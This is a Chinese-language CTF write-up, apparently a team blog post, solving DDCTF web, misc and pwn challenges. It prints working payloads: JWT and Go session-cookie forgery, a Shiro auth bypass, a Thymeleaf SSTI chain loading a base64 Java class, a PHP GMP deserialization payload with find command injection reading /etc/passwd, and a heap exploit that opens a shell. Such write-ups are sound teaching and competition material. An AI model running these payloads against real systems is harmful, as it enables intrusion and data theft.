DDCTF-WriteUp

  • A+
所属分类:逆向工程

WEB

Web签到题

解题思路

先是jwt爆破 ./john jwt.txt 发现 secretkey就是输入的 pwd,所以进行伪造

const jwt=require('jsonwebtoken');const userName='admin';const pwd='123456';const userRole= "ADMIN"const exp=1599277264console.log(jwt.sign({userName,pwd,userRole,exp}, "123456", {algorithm: 'HS256'}))

得到client路径 运行 后 用 wireshark看到发送的包内容

DDCTF-WriteUp

命令|时间 加密 逆向之后 , 用hmac sha256密钥就是DDCTFWithYou

DDCTF-WriteUp


然后base64编码 ,然后正常的bash命令不行

123.class 知道是java命令执行

和de1tactf calc 类似,不能用 forName,直接网上找用new 执行的 ,https://www.gem-love.com/ctf/2302.html#calc

new java.util.Scanner(new java.io.BufferedReader(new java.io.FileReader(new java.io.File('/home/dc2-user/flag/flag.txt')))).nextLine()
import hmacimport base64from hashlib import sha256import time
t=int(time.time())
cmd="new java.util.Scanner(new java.io.BufferedReader(new java.io.FileReader(new java.io.File('/home/dc2-user/flag/flag.txt')))).nextLine()"
key = "DDCTFWithYou"
data = "%s|%s"%(cmd,(str(t)).encode())
enc = base64.b64encode(hmac.new(key, data, digestmod=sha256).digest())


import requests
session = requests.session()
burp0_url = "http://117.51.136.197:80/server/command"
burp0_json={"command": "{}".format(cmd), "signature": enc, "timestamp": t}r=session.post(burp0_url, json=burp0_json)print(r.text)


卡片商店

解题思路

看这session 是go了

go有的常见的是整形溢出,将借的卡和还的卡放入session里面,处理完应该是还的卡溢出值变小 

借2**32+1 就是4294967296 ,然后只要还 2 ,等到时间到还卡,就可以买到gift了 

得到 secretkey [email protected]和 flag路径 

然后就是 go sesion 伪造

有现成的工具 https://github.com/EddieIvan01/secure-cookie-faker secure-cookie-faker

session 原本解出来是一大窜的,发现 有个 admin:false 所以直接伪造一个 admin:true 把其他东西去掉,发现可以,名字是 session -n "session"

./secure-cookie-faker enc -n "session" -k "[email protected]" -o "{admin:true[bool]}"

得到

MTU5OTE5NzYzOHxFXy1CQkFFQkEwOWlhZ0hfZ2dBQkVBRVFBQUFkXzRJQUFRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0RVltOXZiQUlDQUFFPXzFLyQG7JDNJvz48NLachsMs_KzbiRrC00MouKotDCITw==

伪造session 访问flag

得到flag


Easy Web

解题思路

cve-2020-11989 绕过shiro 34867ccfda85234382210155be32525c/;/web/index看到 img?img=static/hello.jpg

文件读取 WEB-INF/web.xml , spring-core.xml spring-web.xml 然后把com/ctf/controller/IndexController 等等查看import 把代码 爬下来

spring-shiro.xml com.ctf.auth.FilterChainDefinitionMapBuilder  看到map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");

/;/web/68759c96217a32d5b368ad2965f625ef/index 

之前爬了 templates/index.html 看到了 [[$name]] ,是thymeleaf

[[${123.class}]]

有SSTI

由于com.ctf.util.SafeFilter的原因 ban了很多,看到 "\.forName.*\("

这个 只要 '.' 和forName 之间加个空格就可以绕过, 单引号和双引号都不能用,

查看thymeleaf文档 ,发现 有个 param.xxx 这样的操作,可以通过这个绕过 引号,构造字符

传入的参数因为也会过滤,所以 可以用 new String(param.a).concat(param.b)  这样来进行字符串拼接,传入 a,b参数。

https://landgrey.me/blog/15/给了一个方法加载恶意类,然后进行方法调用

T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))

Runtime啥的一放上去就报错了

用列举目录+查看文件

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//
import java.io.File;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.List;
public class Singleton15 {
public static List<String> aaa(String file) throws Exception {
List<String> a = Files.readAllLines(Paths.get(file)); return a; }
public static HashMap bbb(String b) throws Exception { File dir = new File(b); String[] children = dir.list(); HashMap hashMap=new HashMap(); for (int i=0; i< children.length; i++) { String filename = children[i]; hashMap.put(filename,filename); } return hashMap; }
}

然后生成成字节码的形式javac 再加base64, d=com.sun.org.apa&e=che.xml.internal.security.utils.Base64 把 base64解码了

a=org.spr&b=ingframework.cglib.core.ReflectUtils 这就绕过 org.springframeork

,aaa()看文件 bbb()列目录

content=[[ ${123.class. forName ( new String(param.a).concat(param.b) ).defineClass(new String(param.c),123.class. forName ( new String(param.d).concat(param.e) ).decode(new String(param.f)),123.class. forName ( new String(param.g).concat(param.h) ).getDefaultClassLoader())} ]]
?a=org.spr&b=ingframework.cglib.core.ReflectUtils&c=Singleton15&d=com.sun.org.apa&e=che.xml.internal.security.utils.Base64&f=yv66vgAAADQAOgoADAAgBwAhCgAiACMKACQAJQcAJgoABQAnCgAFACgHACkKAAgAIAoACAAqBwArBwAsAQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAA2FhYQEAJChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9MaXN0OwEACkV4Y2VwdGlvbnMHAC0BAAlTaWduYXR1cmUBADgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL1N0cmluZzs%2bOwEAA2JiYgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9IYXNoTWFwOwEADVN0YWNrTWFwVGFibGUHACEHACYHAC4HACkBAApTb3VyY2VGaWxlAQAQU2luZ2xldG9uMTUuamF2YQwADQAOAQAQamF2YS9sYW5nL1N0cmluZwcALwwAMAAxBwAyDAAzADQBAAxqYXZhL2lvL0ZpbGUMAA0ANQwANgA3AQARamF2YS91dGlsL0hhc2hNYXAMADgAOQEAC1NpbmdsZXRvbjE1AQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxMaW5lcwEAJihMamF2YS9uaW8vZmlsZS9QYXRoOylMamF2YS91dGlsL0xpc3Q7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEbGlzdAEAFSgpW0xqYXZhL2xhbmcvU3RyaW5nOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEACwAMAAAAAAADAAEADQAOAAEADwAAAB0AAQABAAAABSq3AAGxAAAAAQAQAAAABgABAAAADAAJABEAEgADAA8AAAAqAAIAAgAAAA4qA70AArgAA7gABEwrsAAAAAEAEAAAAAoAAgAAABAADAARABMAAAAEAAEAFAAVAAAAAgAWAAkAFwAYAAIADwAAAIoAAwAGAAAAN7sABVkqtwAGTCu2AAdNuwAIWbcACU4DNgQVBCy%2bogAYLBUEMjoFLRkFGQW2AApXhAQBp//nLbAAAAACABAAAAAiAAgAAAAVAAkAFgAOABcAFgAYACAAGQAmABoALwAYADUAHAAZAAAAGQAC/wAZAAUHABoHABsHABwHAB0BAAD6ABsAEwAAAAQAAQAUAAEAHgAAAAIAHw%3d%3d&g=org.springfram&h=ework.util.ClassUtils

加载了恶意类

列目录:

content=[[ ${T(Singleton15).bbb(new String(param.a))} ]]?a=/ 

看到 flag_is_here

读文件

content=[[ ${T(Singleton15).aaa(new String(param.a))} ]]?a=/flag_is_here


overwrite

解题思路

看hint/hint.php 得到前半部分 DDCTF{VgQN6HXC2moDAq39 

题目显示后半部分在 /HackersForever/suffix_flag.php里面

然后就是gmp反序列化漏洞 安全客先知有文章

用5.6-5.6.11 通用的

a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}} 

因为myclass是第4个new的,所以、

s:1:"4";a:2:{s:4:"flag";s:2:"./";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;} 改成 s:1:"4"

就可以列目录。

$inner='s:1:"4";a:2:{s:4:"flag";s:2:"./";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';echo $exploit;

因为是find 命令, find有一个命令注入 本地这个样子

$a='-name /etc -or -exec cat /etc/passwd ; -quit';system('find /etc ' . escapeshellcmd($a));

所以可以执行命令 ,读/HackersForever/suffix_flag.php 

修改 GMP":这个长度和后面的 flag的内容

/atkPWsr2x3omRZFi.php?bullet=a:1:{i:0;C:3:"GMP":137:{s:1:"4";a:2:{s:4:"flag";s:65:"-name+/flag+-or+-exec+cat+/HackersForever/suffix_flag.php+%3b+-quit";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}

得到后半部分flag

拼起来就是答案


Misc

一起拼图吗

解题思路

因为图片大小不算很小,肉眼能够识别,所以可以找到含有字符的图片然后提取出来,并且这种图片并不多,可以手工组合,然后有足够的清晰度,完全可以肉眼识别

DDCTF-WriteUp

Pwn

we love free

解题思路

就很麻烦的一道题。漏洞是UAF和能修改chunk的size位。首先就修改0x50的chunk的size为0x110,这样就可以和0x90的chunk造成overlap。刚好这一题是先malloc之后再free,所以这个刚刚好能控制unsorted bin. 最后采用的是house of orange的做法。但是house of orange构造好之后会因为free之后的chunk的next_size导致mode>0.最后在这里想了很久,发现源码里面可以让mode>0,只需要控制好_wide_data就可以了。

from PwnContext import *from pwn import *#context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug's       = lambda data               :ctx.send(str(data))        #in case that data is an intsa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) sl      = lambda data               :ctx.sendline(str(data)) sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) r       = lambda numb=4096          :ctx.recv(numb)ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)irt     = lambda                    :ctx.interactive()rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)# misc functionsuu32    = lambda data   :u32(data.ljust(4, 'x00'))uu64    = lambda data   :u64(data.ljust(8, 'x00'))leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'pwn1'libc=ELF("./libc-2.23.so")ctx.debug_remote_libc = Falselocal=0
def choice(): if(local): p=rs() else: ctx.remote = ('117.51.143.25',5005) p=rs('remote') return p
def debug(): if(local==1): libc_base = ctx.bases.libc print hex(libc_base) ctx.debug()chunk=4def menu(index): sla(">>",index)def create(size): global chunk menu(1) sla("Input your num:",size) chunk=chunk+1def show(): global chunk menu(2) for i in range(chunk): sla("Edit (y/n):",'n') chunk=chunk+1 def edit(index,content): menu(2) for i in range(chunk): if i==index: sla("Edit (y/n):",'y') sl(content) else: sla("Edit (y/n):",'n')
def free(): menu(3)
choice()for i in range(2): create(0x10)menu(2)ru("1:")heap_base=int(ctx.recvline().replace("n",""),10)leak("heap_base",heap_base)#pause()for i in range(6): sla("Edit (y/n):",'n')for i in range(0xd): create(0)menu(2)ru("1:")libc_base=int(ctx.recvline().replace("n",""),10)-(0x7ffff7839b78-0x7ffff7475000)leak("libc_base",libc_base)for i in range(34): sla("Edit (y/n):",'n')menu(2)sla("Edit (y/n):",'y')sl(str(0))sla("Edit (y/n):",'y')sl(0x41)sla("Edit (y/n):",'y')sl(str(0))sla("Edit (y/n):",'y')sl(0x41)sla("Edit (y/n):",'y')sl(str(0xffffffffffffffff))sla("Edit (y/n):",'y')sl(0x41)sla("Edit (y/n):",'y')sl(str(0))sla("Edit (y/n):",'y')sl(heap_base+0x100+0x10)for i in range(4): sla("Edit (y/n):",'y') sl(str(0xffffffffffffffff)) sla("Edit (y/n):",'y') sl(0x41)sla("Edit (y/n):",'y')sl(str(0x41))for i in range(0x20): create(0x41)free()create(0x90)menu(2)#pause()for i in range(5): sla("Edit (y/n):",'n')menu(2)for i in range(6): sla("Edit (y/n):",'y') sl(0x51)create(0x99)menu(2)for i in range(4): sla("Edit (y/n):",'n')sla("Edit (y/n):",'y')sl(0x41)sla("Edit (y/n):",'y')sl(0x111)for i in range(4): sla("Edit (y/n):",'y') sl(0)for i in range(3): create(0x111)
menu(2)
for i in range(8): sla("Edit (y/n):",'n')sla("Edit (y/n):",'y')sl(0x0)sla("Edit (y/n):",'y')sl(0x121)for i in range(8): sla("Edit (y/n):",'n')for i in range(7): create(0x111)
create(0xff)_IO_list_all=libc_base+libc.symbols['_IO_list_all']fake_file='/bin/shx00'+p64(0x61)fake_file+=p64(heap_base)+p64(_IO_list_all-0x10)fake_file+=p64(2)+p64(3)fake_file+=p64(0)+p64(0)fake_file=fake_file.ljust(0xd8,"x00")fake_file+=p64(libc_base+0x3c37a0-8)fake_file+=p64(0)fake_file+=p64(libc_base+libc.symbols['system'])menu(2)for i in range(8): sla("Edit (y/n):",'y') sl(0)
for i in range(0,64+8,8): sla("Edit (y/n):",'y') sl(uu64(fake_file[i:i+8]))
create(0)create(2)create(3)create((libc_base+libc.symbols['system']))for i in range(4): create(0)create(2)create(3)create((heap_base+0x130))create((0))create(0)create(0)#debug()menu(2)irt()

DDCTF-WriteUp


end


ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin[email protected]



DDCTF-WriteUp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: